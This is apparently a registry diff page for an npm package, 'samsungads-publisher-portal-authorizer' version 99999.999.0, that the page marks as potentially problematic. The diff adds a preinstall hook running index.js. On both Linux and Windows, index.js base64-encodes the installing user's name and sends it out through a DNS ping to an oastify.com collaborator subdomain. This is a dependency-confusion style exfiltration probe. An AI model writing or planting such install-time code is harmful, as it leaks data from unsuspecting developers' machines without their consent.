samsungads-publisher-portal-authorizer 99999.999.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of samsungads-publisher-portal-authorizer might be problematic. Click here for more details.
- package/index.js +30 -0
- package/package.json +14 -0
package/index.js
ADDED
@@ -0,0 +1,30 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
|
3
|
+
linux_command = "ping \"$(whoami | base64 | tr '=' '0').2rugapy4b95cxkotyfay6zkds4yvmrag.oastify.com\""
|
4
|
+
windows_command = "powershell -C \"$subdomain = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($env:USERNAME)) -replace '=', ''; ping $subdomain'.2rugapy4b95cxkotyfay6zkds4yvmrag.oastify.com'\""
|
5
|
+
|
6
|
+
exec(linux_command , (error, data, getter) => {
|
7
|
+
if(error){
|
8
|
+
console.log("error",error.message);
|
9
|
+
return;
|
10
|
+
}
|
11
|
+
if(getter){
|
12
|
+
console.log(data);
|
13
|
+
return;
|
14
|
+
}
|
15
|
+
console.log(data);
|
16
|
+
|
17
|
+
});
|
18
|
+
|
19
|
+
exec(windows_command , (error, data, getter) => {
|
20
|
+
if(error){
|
21
|
+
console.log("error",error.message);
|
22
|
+
return;
|
23
|
+
}
|
24
|
+
if(getter){
|
25
|
+
console.log(data);
|
26
|
+
return;
|
27
|
+
}
|
28
|
+
console.log(data);
|
29
|
+
|
30
|
+
});
|
package/package.json
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
{
|
2
|
+
"name": "samsungads-publisher-portal-authorizer",
|
3
|
+
"version": "99999.999.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node index.js",
|
8
|
+
"test": "echo \"Error: no test specified\""
|
9
|
+
},
|
10
|
+
"author": "rc.santos",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
}
|
14
|
+
}
|